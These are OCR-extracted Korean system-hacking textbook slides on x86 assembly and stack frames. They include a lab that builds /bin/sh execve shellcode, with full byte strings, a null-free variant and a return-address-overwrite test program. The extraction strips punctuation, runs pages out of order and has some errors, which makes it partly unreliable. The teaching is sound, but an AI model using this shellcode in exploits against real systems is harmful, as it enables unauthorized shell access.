bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 40: 80×86  시스템에 대한 이해

40108

어셈블리어의 기본 명령

bull XOR(Exclusive Or) 대응되는 비트 중에서 한 비트가 1 이고 다른 비트가 0 이면 1 두 개의

비트가 모두 0 또는 1 일 때 0

어셈블리어의 기본 문법과 명령

형식 XOR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

XOR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 0010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 0 0 1 0

41108

어셈블리어의 기본 명령

bull NOT(Invert) 피연산자의 1 의 보수를 구하는 작동 코드로 각 비트를 반전

어셈블리어의 기본 문법과 명령

형식 NOT [ 제 1 피연산자 ]

사용 예

NOT AX

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

명령을 수행한 뒤에 AX 값은 0111 이 된다

AX 1 0 0 0

NOT 연산 결과 0 1 1 1

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

